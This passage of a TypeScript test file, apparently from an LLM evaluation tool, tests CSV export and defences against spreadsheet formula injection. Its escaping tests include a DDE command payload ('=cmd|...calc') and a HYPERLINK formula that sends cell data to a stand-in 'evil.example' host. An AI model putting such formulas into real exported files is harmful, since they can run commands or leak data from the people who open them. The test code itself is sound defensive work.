expect(lines).toHaveLength(1);
|
|
expect(lines[0]).toContain('var1');
|
|
});
|
|
|
|
it('should handle table with no prompts', () => {
|
|
const tableWithNoPrompts = {
|
|
head: {
|
|
vars: ['var1', 'var2'],
|
|
prompts: [],
|
|
},
|
|
body: [
|
|
{
|
|
test: { vars: {} },
|
|
testIdx: 0,
|
|
vars: ['value1', 'value2'],
|
|
outputs: [],
|
|
},
|
|
],
|
|
};
|
|
|
|
const csv = evalTableToCsv(tableWithNoPrompts);
|
|
const lines = csv.split('\n');
|
|
|
|
// Should only have variable columns
|
|
expect(lines[0]).toBe('var1,var2');
|
|
expect(lines[1]).toBe('value1,value2');
|
|
});
|
|
|
|
it('should handle complex nested JSON in metadata', () => {
|
|
const complexMetadata = {
|
|
messages: [
|
|
{
|
|
role: 'user',
|
|
content: 'Complex message',
|
|
metadata: {
|
|
timestamp: '2024-01-01T00:00:00Z',
|
|
tags: ['tag1', 'tag2'],
|
|
nested: {
|
|
deep: {
|
|
value: 'nested value',
|
|
},
|
|
},
|
|
},
|
|
},
|
|
],
|
|
redteamHistory: [
|
|
{
|
|
attempt: 1,
|
|
success: false,
|
|
details: {
|
|
strategy: 'jailbreak',
|
|
prompt: 'Test prompt',
|
|
},
|
|
},
|
|
],
|
|
};
|
|
|
|
const tableWithComplexMetadata = {
|
|
...mockTable,
|
|
body: [
|
|
{
|
|
...mockTable.body[0],
|
|
outputs: [
|
|
{
|
|
pass: true,
|
|
text: 'Output',
|
|
metadata: complexMetadata,
|
|
} as unknown as EvaluateTableOutput,
|
|
],
|
|
},
|
|
],
|
|
};
|
|
|
|
const csv = evalTableToCsv(tableWithComplexMetadata, {
|
|
isRedteam: true,
|
|
});
|
|
|
|
// Should serialize complex objects as JSON strings (with CSV escaping)
|
|
expect(csv).toMatch(/Complex message/);
|
|
expect(csv).toMatch(/timestamp.*2024-01-01T00:00:00Z/);
|
|
expect(csv).toMatch(/tags.*tag1.*tag2/);
|
|
// Note: When messages are present, redteamHistory is not included in its own column
|
|
// The redteamHistory data would be empty since messages take precedence
|
|
});
|
|
});
|
|
});
|
|
|
|
describe('table prompt stripping helpers', () => {
|
|
it('should strip prompts from largest to smallest by requested count', () => {
|
|
const payload = {
|
|
table: {
|
|
...mockTable,
|
|
body: [
|
|
{
|
|
...mockTable.body[0],
|
|
outputs: [
|
|
{ ...mockTable.body[0].outputs[0], prompt: 'short prompt' },
|
|
{ ...mockTable.body[0].outputs[1], prompt: 'very long prompt' },
|
|
],
|
|
},
|
|
],
|
|
},
|
|
totalCount: 1,
|
|
filteredCount: 1,
|
|
filteredMetrics: null,
|
|
config: {},
|
|
author: null,
|
|
version: 4,
|
|
id: 'eval-id',
|
|
};
|
|
|
|
const promptLocations = getEvalTableOutputPromptLocationsBySize(payload);
|
|
|
|
expect(promptLocations).toHaveLength(2);
|
|
|
|
const firstFallback = getEvalTablePromptStrippedPayload(payload, promptLocations, 1);
|
|
const secondFallback = getEvalTablePromptStrippedPayload(payload, promptLocations, 2);
|
|
|
|
expect(firstFallback.table.body[0].outputs[0].prompt).toBe('short prompt');
|
|
expect(firstFallback.table.body[0].outputs[1].prompt).toBe(STRIPPED_TABLE_CELL_PROMPT);
|
|
expect(secondFallback.table.body[0].outputs[0].prompt).toBe(STRIPPED_TABLE_CELL_PROMPT);
|
|
expect(secondFallback.table.body[0].outputs[1].prompt).toBe(STRIPPED_TABLE_CELL_PROMPT);
|
|
expect(JSON.stringify(firstFallback).length).toBeLessThan(JSON.stringify(payload).length);
|
|
expect(JSON.stringify(secondFallback).length).toBeLessThan(
|
|
JSON.stringify(firstFallback).length,
|
|
);
|
|
});
|
|
});
|
|
|
|
describe('evalTableToJson', () => {
|
|
it('should return the table as-is', () => {
|
|
const result = evalTableToJson(mockTable);
|
|
expect(result).toBe(mockTable);
|
|
});
|
|
|
|
it('should handle empty table', () => {
|
|
const emptyTable = {
|
|
head: { vars: [], prompts: [] },
|
|
body: [],
|
|
};
|
|
const result = evalTableToJson(emptyTable);
|
|
expect(result).toBe(emptyTable);
|
|
});
|
|
|
|
it('should preserve all data including metadata', () => {
|
|
const tableWithMetadata = {
|
|
...mockTable,
|
|
body: [
|
|
{
|
|
...mockTable.body[0],
|
|
outputs: [
|
|
{
|
|
pass: true,
|
|
text: 'Output',
|
|
metadata: {
|
|
custom: 'data',
|
|
nested: { value: 123 },
|
|
},
|
|
} as unknown as EvaluateTableOutput,
|
|
],
|
|
},
|
|
],
|
|
};
|
|
|
|
const result = evalTableToJson(tableWithMetadata);
|
|
expect(result).toBe(tableWithMetadata);
|
|
expect(
|
|
(result as { body: Array<{ outputs: Array<{ metadata: unknown }> }> }).body[0].outputs[0]
|
|
.metadata,
|
|
).toEqual({
|
|
custom: 'data',
|
|
nested: { value: 123 },
|
|
});
|
|
});
|
|
});
|
|
|
|
/**
|
|
* Creates a prompt that mimics legacy/imported persistence without
|
|
* `metrics.namedScoresCount`, forcing the streaming CSV path to fall back to
|
|
* a row-scan discovery pass.
|
|
*
|
|
* `overrides.namedScores` contains aggregate prompt metrics; per-row scores
|
|
* remain on the individual results.
|
|
*
|
|
* @param raw - Raw prompt text.
|
|
* @param overrides - Prompt overrides and aggregate named scores.
|
|
* @returns A completed prompt in the legacy persisted shape.
|
|
*/
|
|
function createLegacyCompletedPrompt(
|
|
raw: string,
|
|
overrides: { namedScores: Record<string, number> } & Partial<Omit<CompletedPrompt, 'metrics'>>,
|
|
): LegacyCompletedPrompt {
|
|
const { namedScores, ...rest } = overrides;
|
|
const prompt = createCompletedPrompt(raw, rest);
|
|
const { namedScoresCount: _namedScoresCount, ...legacyMetrics } = createPromptMetrics({
|
|
namedScores,
|
|
});
|
|
return {
|
|
...prompt,
|
|
metrics: legacyMetrics,
|
|
};
|
|
}
|
|
|
|
describe('streamEvalCsv', () => {
|
|
it('should order outputs by promptIdx regardless of database return order', async () => {
|
|
// Simulate results coming back in non-sequential order (prompt 2, then 0, then 1)
|
|
const mockResults = [
|
|
{
|
|
testIdx: 0,
|
|
promptIdx: 2, // Third prompt, but returned first
|
|
testCase: { vars: { name: 'Alice' }, description: 'Test 1' },
|
|
response: { output: 'Third output' },
|
|
success: true,
|
|
score: 1,
|
|
namedScores: {},
|
|
failureReason: ResultFailureReason.NONE,
|
|
gradingResult: null,
|
|
metadata: {},
|
|
},
|
|
{
|
|
testIdx: 0,
|
|
promptIdx: 0, // First prompt, returned second
|
|
testCase: { vars: { name: 'Alice' }, description: 'Test 1' },
|
|
response: { output: 'First output' },
|
|
success: true,
|
|
score: 1,
|
|
namedScores: {},
|
|
failureReason: ResultFailureReason.NONE,
|
|
gradingResult: null,
|
|
metadata: {},
|
|
},
|
|
{
|
|
testIdx: 0,
|
|
promptIdx: 1, // Second prompt, returned third
|
|
testCase: { vars: { name: 'Alice' }, description: 'Test 1' },
|
|
response: { output: 'Second output' },
|
|
success: true,
|
|
score: 1,
|
|
namedScores: {},
|
|
failureReason: ResultFailureReason.NONE,
|
|
gradingResult: null,
|
|
metadata: {},
|
|
},
|
|
];
|
|
|
|
const mockEval = {
|
|
vars: ['name'],
|
|
prompts: [
|
|
{ label: 'Prompt 1' } as Prompt,
|
|
{ label: 'Prompt 2' } as Prompt,
|
|
{ label: 'Prompt 3' } as Prompt,
|
|
],
|
|
fetchResultsBatched: async function* () {
|
|
yield mockResults;
|
|
},
|
|
} as unknown as Eval;
|
|
|
|
const chunks: string[] = [];
|
|
await streamEvalCsv(mockEval, {
|
|
isRedteam: false,
|
|
write: (data: string) => {
|
|
chunks.push(data);
|
|
},
|
|
});
|
|
|
|
const csv = chunks.join('');
|
|
const lines = csv.split('\n').filter((line) => line.trim());
|
|
|
|
// Header should have prompts in order
|
|
expect(lines[0]).toContain('Prompt 1');
|
|
expect(lines[0]).toContain('Prompt 2');
|
|
expect(lines[0]).toContain('Prompt 3');
|
|
|
|
// Data row should have outputs in correct column order
|
|
// (First output under Prompt 1, Second under Prompt 2, Third under Prompt 3)
|
|
expect(lines[1]).toContain('First output');
|
|
expect(lines[1]).toContain('Second output');
|
|
expect(lines[1]).toContain('Third output');
|
|
|
|
// Verify order: First should come before Second, Second before Third
|
|
const firstIdx = lines[1].indexOf('First output');
|
|
const secondIdx = lines[1].indexOf('Second output');
|
|
const thirdIdx = lines[1].indexOf('Third output');
|
|
expect(firstIdx).toBeLessThan(secondIdx);
|
|
expect(secondIdx).toBeLessThan(thirdIdx);
|
|
});
|
|
|
|
/**
|
|
* Streams fixture results through `streamEvalCsv` and returns the complete CSV output.
|
|
*
|
|
* @param params - Fixture data used to construct the mocked eval.
|
|
* @param params.vars - Variable names included in the CSV.
|
|
* @param params.prompts - Prompt definitions used by the eval.
|
|
* @param params.results - Result fixtures yielded by `fetchResultsBatched`.
|
|
* @param params.isRedteam - Whether to use redteam CSV formatting.
|
|
* @returns The concatenated CSV chunks emitted by `streamEvalCsv`.
|
|
*/
|
|
async function runStreamEvalCsv({
|
|
vars,
|
|
prompts,
|
|
results,
|
|
isRedteam = false,
|
|
}: {
|
|
vars: string[];
|
|
prompts: Array<CompletedPrompt | LegacyCompletedPrompt>;
|
|
results: unknown[];
|
|
isRedteam?: boolean;
|
|
}): Promise<string> {
|
|
const chunks: string[] = [];
|
|
await streamEvalCsv(
|
|
{
|
|
vars,
|
|
prompts,
|
|
fetchResultsBatched: async function* () {
|
|
yield results;
|
|
},
|
|
} as unknown as Eval,
|
|
{
|
|
isRedteam,
|
|
write: (data: string) => {
|
|
chunks.push(data);
|
|
},
|
|
},
|
|
);
|
|
return chunks.join('');
|
|
}
|
|
|
|
it('should include dedicated metric columns when streaming CSV', async () => {
|
|
const csv = await runStreamEvalCsv({
|
|
vars: ['name'],
|
|
prompts: [
|
|
createCompletedPrompt('Prompt 1', {
|
|
metrics: createPromptMetrics({
|
|
namedScores: { accuracy: 0.7, relevance: 1.4 },
|
|
namedScoresCount: { accuracy: 1, relevance: 2 },
|
|
}),
|
|
}),
|
|
],
|
|
results: [
|
|
{
|
|
testIdx: 0,
|
|
promptIdx: 0,
|
|
testCase: { vars: { name: 'Alice' }, description: 'Test 1' },
|
|
response: { output: 'First output' },
|
|
success: true,
|
|
score: 0.8,
|
|
namedScores: { accuracy: 0.7, relevance: 0.9 },
|
|
failureReason: ResultFailureReason.NONE,
|
|
gradingResult: null,
|
|
metadata: {},
|
|
},
|
|
{
|
|
testIdx: 1,
|
|
promptIdx: 0,
|
|
testCase: { vars: { name: 'Bob' }, description: 'Test 2' },
|
|
response: { output: 'Second output' },
|
|
success: true,
|
|
score: 0.6,
|
|
namedScores: { relevance: 0.5 },
|
|
failureReason: ResultFailureReason.NONE,
|
|
gradingResult: null,
|
|
metadata: {},
|
|
},
|
|
],
|
|
});
|
|
|
|
const lines = csv.split('\n').filter((line) => line.trim());
|
|
expect(lines[0]).toContain('Metric: accuracy');
|
|
expect(lines[0]).toContain('Metric: relevance');
|
|
expect(lines[1]).toContain('0.70,0.90');
|
|
expect(lines[2]).toContain(',0.50');
|
|
});
|
|
|
|
it('escapes formula-injection payloads when streaming CSV', async () => {
|
|
const csv = await runStreamEvalCsv({
|
|
vars: ['name'],
|
|
prompts: [createCompletedPrompt('Prompt 1', {})],
|
|
results: [
|
|
{
|
|
testIdx: 0,
|
|
promptIdx: 0,
|
|
testCase: { vars: { name: '=cmd|calc' }, description: 'Test 1' },
|
|
response: { output: '=1+2' },
|
|
success: false,
|
|
score: 0,
|
|
namedScores: {},
|
|
failureReason: ResultFailureReason.ASSERT,
|
|
gradingResult: null,
|
|
metadata: {},
|
|
},
|
|
],
|
|
});
|
|
|
|
const dataRow = (parseCsv(csv) as string[][])[1];
|
|
expect(dataRow).toContain("'=cmd|calc");
|
|
expect(dataRow).toContain("'=1+2");
|
|
// No raw formula trigger survives into a streamed cell.
|
|
expect(dataRow.every((cell) => !/^[=@]/.test(cell))).toBe(true);
|
|
});
|
|
|
|
it('should omit derived/aggregate-only metric columns when streaming', async () => {
|
|
// Derived metrics live on `metrics.namedScores` but not on
|
|
// `metrics.namedScoresCount`, and never appear on per-row outputs. The
|
|
// streaming CSV must skip them so it stays consistent with the WebUI path,
|
|
// which scans row outputs (see collectNamedScoreNamesByPrompt).
|
|
const csv = await runStreamEvalCsv({
|
|
vars: ['name'],
|
|
prompts: [
|
|
createCompletedPrompt('Prompt 1', {
|
|
metrics: createPromptMetrics({
|
|
namedScores: { accuracy: 0.8, derived_score: 1.6 },
|
|
namedScoresCount: { accuracy: 1 },
|
|
}),
|
|
}),
|
|
],
|
|
results: [
|
|
{
|
|
testIdx: 0,
|
|
promptIdx: 0,
|
|
testCase: { vars: { name: 'Alice' } },
|
|
response: { output: 'Alice output' },
|
|
success: true,
|
|
score: 0.8,
|
|
namedScores: { accuracy: 0.8 },
|
|
failureReason: ResultFailureReason.NONE,
|
|
gradingResult: null,
|
|
metadata: {},
|
|
},
|
|
],
|
|
});
|
|
|
|
const header = csv.split('\n')[0];
|
|
expect(header).toContain('Metric: accuracy');
|
|
expect(header).not.toContain('Metric: derived_score');
|
|
});
|
|
|
|
it('should backfill metric columns from row outputs when namedScoresCount is missing (legacy evals)', async () => {
|
|
// Older eval rows persisted before `namedScoresCount` was reliably populated,
|
|
// and external v4 imports via POST /api/eval that don't backfill the count,
|
|
// still need their per-row metric columns to appear in CSV exports.
|
|
const csv = await runStreamEvalCsv({
|
|
vars: ['name'],
|
|
prompts: [
|
|
createLegacyCompletedPrompt('Prompt 1', {
|
|
namedScores: { accuracy: 0.8, fluency: 0.6 },
|
|
}),
|
|
],
|
|
results: [
|
|
{
|
|
testIdx: 0,
|
|
promptIdx: 0,
|
|
testCase: { vars: { name: 'Alice' } },
|
|
response: { output: 'Alice output' },
|
|
success: true,
|
|
score: 0.7,
|
|
namedScores: { accuracy: 0.8, fluency: 0.6 },
|
|
failureReason: ResultFailureReason.NONE,
|
|
gradingResult: null,
|
|
metadata: {},
|
|
},
|
|
],
|
|
});
|
|
|
|
const header = csv.split('\n')[0];
|
|
expect(header).toContain('Metric: accuracy');
|
|
expect(header).toContain('Metric: fluency');
|
|
});
|
|
|
|
it('should keep metric discovery focused for modern evals with empty namedScoresCount', async () => {
|
|
// Modern eval where no test uses `metric:` — `namedScoresCount` is
|
|
// present-but-empty. The description discovery pass must not invent
|
|
// metric columns.
|
|
const prompts = [
|
|
createCompletedPrompt('Prompt 1', {
|
|
metrics: createPromptMetrics({
|
|
namedScores: {},
|
|
namedScoresCount: {},
|
|
}),
|
|
}),
|
|
];
|
|
const chunks: string[] = [];
|
|
let fetchPasses = 0;
|
|
await streamEvalCsv(
|
|
{
|
|
vars: ['n'],
|
|
prompts,
|
|
fetchResultsBatched: async function* () {
|
|
fetchPasses += 1;
|
|
yield [
|
|
{
|
|
testIdx: 0,
|
|
promptIdx: 0,
|
|
testCase: { vars: { n: 'a' } },
|
|
response: { output: 'a' },
|
|
success: true,
|
|
score: 1,
|
|
namedScores: {},
|
|
failureReason: ResultFailureReason.NONE,
|
|
gradingResult: null,
|
|
metadata: {},
|
|
},
|
|
];
|
|
},
|
|
} as unknown as Eval,
|
|
{
|
|
isRedteam: false,
|
|
write: (data: string) => {
|
|
chunks.push(data);
|
|
},
|
|
},
|
|
);
|
|
|
|
const header = chunks.join('').split('\n')[0];
|
|
expect(header).not.toContain('Metric:');
|
|
expect(fetchPasses).toBe(2);
|
|
});
|
|
|
|
it('should include descriptions that first appear in a later batch', async () => {
|
|
const prompts = [
|
|
createCompletedPrompt('Prompt 1', {
|
|
metrics: createPromptMetrics({ namedScores: {}, namedScoresCount: {} }),
|
|
}),
|
|
];
|
|
const chunks: string[] = [];
|
|
await streamEvalCsv(
|
|
{
|
|
vars: ['n'],
|
|
prompts,
|
|
fetchResultsBatched: async function* () {
|
|
yield [
|
|
{
|
|
testIdx: 0,
|
|
promptIdx: 0,
|
|
testCase: { vars: { n: 'a' } },
|
|
response: { output: 'a' },
|
|
success: true,
|
|
score: 1,
|
|
namedScores: {},
|
|
failureReason: ResultFailureReason.NONE,
|
|
gradingResult: null,
|
|
metadata: {},
|
|
},
|
|
];
|
|
yield [
|
|
{
|
|
testIdx: 100,
|
|
promptIdx: 0,
|
|
testCase: { vars: { n: 'b' }, description: 'Later description' },
|
|
response: { output: 'b' },
|
|
success: true,
|
|
score: 1,
|
|
namedScores: {},
|
|
failureReason: ResultFailureReason.NONE,
|
|
gradingResult: null,
|
|
metadata: {},
|
|
},
|
|
];
|
|
},
|
|
} as unknown as Eval,
|
|
{
|
|
isRedteam: false,
|
|
write: (data: string) => {
|
|
chunks.push(data);
|
|
},
|
|
},
|
|
);
|
|
|
|
const csv = chunks.join('');
|
|
expect(csv.split('\n')[0]).toContain('Description');
|
|
expect(csv).toContain('Later description');
|
|
});
|
|
|
|
it('should detect metric names that first appear in a later batch on legacy evals', async () => {
|
|
// EvalResult.findManyByEvalIdBatched yields batches of 100 testIdx, so a
|
|
// metric introduced past the first batch would be missed by a first-batch
|
|
// scan. Discovery must cover all batches without retaining all CSV rows.
|
|
const prompts = [
|
|
createLegacyCompletedPrompt('Prompt 1', {
|
|
namedScores: { early_metric: 1.0 },
|
|
}),
|
|
];
|
|
const chunks: string[] = [];
|
|
let fetchPasses = 0;
|
|
const streamedBeforeSecondBatch: boolean[] = [];
|
|
await streamEvalCsv(
|
|
{
|
|
vars: ['n'],
|
|
prompts,
|
|
fetchResultsBatched: async function* () {
|
|
fetchPasses += 1;
|
|
yield [
|
|
{
|
|
testIdx: 0,
|
|
promptIdx: 0,
|
|
testCase: { vars: { n: 'a' } },
|
|
response: { output: 'a' },
|
|
success: true,
|
|
score: 1,
|
|
namedScores: { early_metric: 1.0 },
|
|
failureReason: ResultFailureReason.NONE,
|
|
gradingResult: null,
|
|
metadata: {},
|
|
},
|
|
];
|
|
if (fetchPasses === 2) {
|
|
streamedBeforeSecondBatch.push(chunks.length > 1);
|
|
}
|
|
yield [
|
|
{
|
|
testIdx: 100,
|
|
promptIdx: 0,
|
|
testCase: { vars: { n: 'b' } },
|
|
response: { output: 'b' },
|
|
success: true,
|
|
score: 1,
|
|
namedScores: { early_metric: 1.0, late_metric: 0.5 },
|
|
failureReason: ResultFailureReason.NONE,
|
|
gradingResult: null,
|
|
metadata: {},
|
|
},
|
|
];
|
|
},
|
|
} as unknown as Eval,
|
|
{
|
|
isRedteam: false,
|
|
write: (data: string) => {
|
|
chunks.push(data);
|
|
},
|
|
},
|
|
);
|
|
|
|
const csv = chunks.join('');
|
|
const header = csv.split('\n')[0];
|
|
expect(header).toContain('Metric: early_metric');
|
|
expect(header).toContain('Metric: late_metric');
|
|
expect(fetchPasses).toBe(2);
|
|
expect(streamedBeforeSecondBatch).toEqual([true]);
|
|
});
|
|
|
|
it('should omit derived/aggregate-only metric columns even on legacy evals without namedScoresCount', async () => {
|
|
// Reviewer scenario: an imported eval whose `metrics.namedScores` has both
|
|
// row-contributed metrics and an aggregate-only derived metric, but no
|
|
// `namedScoresCount`. The legacy backfill must still match the WebUI by
|
|
// scanning row outputs (which never carry derived metrics).
|
|
const csv = await runStreamEvalCsv({
|
|
vars: ['name'],
|
|
prompts: [
|
|
createLegacyCompletedPrompt('Prompt 1', {
|
|
namedScores: { accuracy: 0.8, aggregate_only_average: 0.5 },
|
|
}),
|
|
],
|
|
results: [
|
|
{
|
|
testIdx: 0,
|
|
promptIdx: 0,
|
|
testCase: { vars: { name: 'Alice' } },
|
|
response: { output: 'Alice output' },
|
|
success: true,
|
|
score: 0.8,
|
|
namedScores: { accuracy: 0.8 },
|
|
failureReason: ResultFailureReason.NONE,
|
|
gradingResult: null,
|
|
metadata: {},
|
|
},
|
|
],
|
|
});
|
|
|
|
const header = csv.split('\n')[0];
|
|
expect(header).toContain('Metric: accuracy');
|
|
expect(header).not.toContain('Metric: aggregate_only_average');
|
|
});
|
|
|
|
it('should produce headers consistent with evalTableToCsv for the same data', async () => {
|
|
// Locks the docstring invariant that streamEvalCsv (CLI) and evalTableToCsv
|
|
// (WebUI) produce the same column layout for the same eval data.
|
|
const sharedPrompt = createCompletedPrompt('Explain {{topic}}', {
|
|
provider: 'echo',
|
|
metrics: createPromptMetrics({
|
|
namedScores: { clarity: 0.9, accuracy: 0.8, derived_avg: 0.85 },
|
|
namedScoresCount: { clarity: 1, accuracy: 1 },
|
|
}),
|
|
});
|
|
|
|
const cliCsv = await runStreamEvalCsv({
|
|
vars: ['topic'],
|
|
prompts: [sharedPrompt],
|
|
results: [
|
|
{
|
|
testIdx: 0,
|
|
promptIdx: 0,
|
|
testCase: { vars: { topic: 'gravity' } },
|
|
response: { output: 'gravity output' },
|
|
success: true,
|
|
score: 0.9,
|
|
namedScores: { clarity: 0.9, accuracy: 0.8 },
|
|
failureReason: ResultFailureReason.NONE,
|
|
gradingResult: null,
|
|
metadata: {},
|
|
},
|
|
],
|
|
});
|
|
|
|
const webCsv = evalTableToCsv({
|
|
head: { vars: ['topic'], prompts: [sharedPrompt] },
|
|
body: [
|
|
{
|
|
test: { vars: { topic: 'gravity' } },
|
|
testIdx: 0,
|
|
vars: ['gravity'],
|
|
outputs: [
|
|
{
|
|
pass: true,
|
|
text: 'gravity output',
|
|
score: 0.9,
|
|
namedScores: { clarity: 0.9, accuracy: 0.8 },
|
|
} as unknown as EvaluateTableOutput,
|
|
],
|
|
},
|
|
],
|
|
});
|
|
|
|
expect(cliCsv.split('\n')[0]).toBe(webCsv.split('\n')[0]);
|
|
});
|
|
|
|
it('should keep redteam metadata columns aligned when metric columns are present', async () => {
|
|
const csv = await runStreamEvalCsv({
|
|
vars: ['name'],
|
|
prompts: [
|
|
createCompletedPrompt('Prompt 1', {
|
|
metrics: createPromptMetrics({
|
|
namedScores: { accuracy: 0.8, relevance: 0.7 },
|
|
namedScoresCount: { accuracy: 1, relevance: 1 },
|
|
}),
|
|
}),
|
|
],
|
|
results: [
|
|
{
|
|
testIdx: 0,
|
|
promptIdx: 0,
|
|
testCase: { vars: { name: 'Alice' } },
|
|
response: { output: 'Alice output' },
|
|
success: true,
|
|
score: 0.8,
|
|
namedScores: { accuracy: 0.8, relevance: 0.7 },
|
|
failureReason: ResultFailureReason.NONE,
|
|
gradingResult: null,
|
|
metadata: { pluginId: 'plg', strategyId: 'strat', sessionId: 'sess' },
|
|
},
|
|
],
|
|
isRedteam: true,
|
|
});
|
|
|
|
const [headerCols, rowCols] = parseCsv(csv) as string[][];
|
|
|
|
// Header and row must have the same column count so redteam metadata
|
|
// columns (pluginId, strategyId, sessionId, …) line up with their headers.
|
|
expect(rowCols).toHaveLength(headerCols.length);
|
|
const pluginIdHeaderIdx = headerCols.indexOf('pluginId');
|
|
const strategyIdHeaderIdx = headerCols.indexOf('strategyId');
|
|
expect(pluginIdHeaderIdx).toBeGreaterThan(-1);
|
|
expect(rowCols[pluginIdHeaderIdx]).toBe('plg');
|
|
expect(rowCols[strategyIdHeaderIdx]).toBe('strat');
|
|
});
|
|
|
|
it('should handle multiple test cases with out-of-order results', async () => {
|
|
const mockResults = [
|
|
// Test 1 results (out of order)
|
|
{
|
|
testIdx: 0,
|
|
promptIdx: 1,
|
|
testCase: { vars: { name: 'Alice' } },
|
|
response: { output: 'Alice-P2' },
|
|
success: true,
|
|
score: 1,
|
|
namedScores: {},
|
|
failureReason: ResultFailureReason.NONE,
|
|
gradingResult: null,
|
|
metadata: {},
|
|
},
|
|
{
|
|
testIdx: 0,
|
|
promptIdx: 0,
|
|
testCase: { vars: { name: 'Alice' } },
|
|
response: { output: 'Alice-P1' },
|
|
success: true,
|
|
score: 1,
|
|
namedScores: {},
|
|
failureReason: ResultFailureReason.NONE,
|
|
gradingResult: null,
|
|
metadata: {},
|
|
},
|
|
// Test 2 results (out of order)
|
|
{
|
|
testIdx: 1,
|
|
promptIdx: 1,
|
|
testCase: { vars: { name: 'Bob' } },
|
|
response: { output: 'Bob-P2' },
|
|
success: true,
|
|
score: 1,
|
|
namedScores: {},
|
|
failureReason: ResultFailureReason.NONE,
|
|
gradingResult: null,
|
|
metadata: {},
|
|
},
|
|
{
|
|
testIdx: 1,
|
|
promptIdx: 0,
|
|
testCase: { vars: { name: 'Bob' } },
|
|
response: { output: 'Bob-P1' },
|
|
success: true,
|
|
score: 1,
|
|
namedScores: {},
|
|
failureReason: ResultFailureReason.NONE,
|
|
gradingResult: null,
|
|
metadata: {},
|
|
},
|
|
];
|
|
|
|
const mockEval = {
|
|
vars: ['name'],
|
|
prompts: [{ label: 'Prompt 1' } as Prompt, { label: 'Prompt 2' } as Prompt],
|
|
fetchResultsBatched: async function* () {
|
|
yield mockResults;
|
|
},
|
|
} as unknown as Eval;
|
|
|
|
const chunks: string[] = [];
|
|
await streamEvalCsv(mockEval, {
|
|
isRedteam: false,
|
|
write: (data: string) => {
|
|
chunks.push(data);
|
|
},
|
|
});
|
|
|
|
const csv = chunks.join('');
|
|
const lines = csv.split('\n').filter((line) => line.trim());
|
|
|
|
// Should have header + 2 data rows
|
|
expect(lines.length).toBe(3);
|
|
|
|
// Check Alice row has correct ordering
|
|
const aliceLine = lines.find((l) => l.includes('Alice'));
|
|
expect(aliceLine).toBeDefined();
|
|
const aliceP1Idx = aliceLine!.indexOf('Alice-P1');
|
|
const aliceP2Idx = aliceLine!.indexOf('Alice-P2');
|
|
expect(aliceP1Idx).toBeLessThan(aliceP2Idx);
|
|
|
|
// Check Bob row has correct ordering
|
|
const bobLine = lines.find((l) => l.includes('Bob'));
|
|
expect(bobLine).toBeDefined();
|
|
const bobP1Idx = bobLine!.indexOf('Bob-P1');
|
|
const bobP2Idx = bobLine!.indexOf('Bob-P2');
|
|
expect(bobP1Idx).toBeLessThan(bobP2Idx);
|
|
});
|
|
});
|
|
});
|
|
|
|
describe('escapeCsvFormula', () => {
|
|
it.each([
|
|
['=1+1', "'=1+1"],
|
|
["=cmd|'/c calc'!A1", "'=cmd|'/c calc'!A1"],
|
|
['@SUM(A1:A9)', "'@SUM(A1:A9)"],
|
|
['+1+1', "'+1+1"],
|
|
['-1+1', "'-1+1"],
|
|
['-2+cmd', "'-2+cmd"],
|
|
])('prefixes formula trigger %p -> %p', (input, expected) => {
|
|
expect(escapeCsvFormula(input)).toBe(expected);
|
|
});
|
|
|
|
it.each([
|
|
['\t=danger', "'\t=danger"],
|
|
['\r=danger', "'\r=danger"],
|
|
[' =danger', "' =danger"],
|
|
['\t@SUM(A1)', "'\t@SUM(A1)"],
|
|
['\r-1+1', "'\r-1+1"],
|
|
['\n\t =evil', "'\n\t =evil"],
|
|
])('treats leading whitespace/control before a trigger as a formula (%p)', (input, expected) => {
|
|
expect(escapeCsvFormula(input)).toBe(expected);
|
|
});
|
|
|
|
it.each([
|
|
['\u200B=1+1', "'\u200B=1+1"],
|
|
['\u200C@SUM(A1)', "'\u200C@SUM(A1)"],
|
|
['\u200D=cmd', "'\u200D=cmd"],
|
|
])('escapes triggers hidden behind zero-width characters (%p)', (input, expected) => {
|
|
expect(escapeCsvFormula(input)).toBe(expected);
|
|
});
|
|
|
|
it.each([
|
|
['-Infinity', "'-Infinity"],
|
|
['+Infinity', "'+Infinity"],
|
|
['-1e400', "'-1e400"],
|
|
])('escapes non-finite numeric-looking values (%p)', (input, expected) => {
|
|
expect(escapeCsvFormula(input)).toBe(expected);
|
|
});
|
|
|
|
it.each([
|
|
[
|
|
'=HYPERLINK("https://evil.example?x="&A1,"click")',
|
|
'\'=HYPERLINK("https://evil.example?x="&A1,"click")',
|
|
],
|
|
["=cmd|'/c calc'!A1", "'=cmd|'/c calc'!A1"],
|
|
])('neutralizes real exfiltration/command payloads (%p)', (input, expected) => {
|
|
expect(escapeCsvFormula(input)).toBe(expected);
|
|
});
|
|
|
|
it.each([
|
|
['-5', '-5'],
|
|
['-5.25', '-5.25'],
|
|
['-1e3', '-1e3'],
|
|
['+5', '+5'],
|
|
['+3.14', '+3.14'],
|
|
])('leaves legitimate numbers untouched (%p)', (input, expected) => {
|
|
expect(escapeCsvFormula(input)).toBe(expected);
|
|
});
|
|
|
|
it.each([
|
|
['hello world', 'hello world'],
|
|
['5-3', '5-3'],
|
|
['a=b', 'a=b'],
|
|
['user@example.com', 'user@example.com'],
|
|
['', ''],
|
|
[' ', ' '],
|
|
['\t\t', '\t\t'],
|
|
])('leaves non-formula values untouched (%p)', (input, expected) => {
|
|
expect(escapeCsvFormula(input)).toBe(expected);
|
|
});
|
|
});
|
|
|
|
describe('evalTableToCsv formula injection (CWE-1236)', () => {
|
|
const buildFormulaTable = () => ({
|
|
head: {
|
|
vars: ['input'],
|
|
prompts: [createCompletedPrompt('{{input}}', { provider: 'echo', label: 'Prompt 1' })],
|
|
},
|
|
body: [
|
|
{
|
|
test: { vars: { input: '=cmd|calc' }, description: '=danger' },
|
|
testIdx: 0,
|
|
vars: ['=cmd|calc'],
|
|
outputs: [
|
|
{
|
|
pass: false,
|
|
text: '=HYPERLINK("http://evil.example","click")',
|
|
failureReason: ResultFailureReason.ASSERT,
|
|
gradingResult: { pass: false, reason: '@SUM(A1)', comment: 'plain comment' },
|
|
} as EvaluateTableOutput,
|
|
],
|
|
},
|
|
],
|
|
});
|
|
|
|
it('prefixes attacker-influenced cells so spreadsheets do not execute them', () => {
|
|
const [headerRow, dataRow] = parseCsv(evalTableToCsv(buildFormulaTable())) as string[][];
|
|
|
|
expect(dataRow[0]).toBe("'=danger"); // description
|
|
expect(dataRow[1]).toBe("'=cmd|calc"); // var
|
|
expect(dataRow[2]).toBe('\'=HYPERLINK("http://evil.example","click")'); // model output
|
|
|
|
const reasonIdx = headerRow.indexOf('Grader Reason');
|
|
expect(dataRow[reasonIdx]).toBe("'@SUM(A1)");
|
|
|
|
// A benign comment is left untouched.
|
|
const commentIdx = headerRow.indexOf('Comment');
|
|
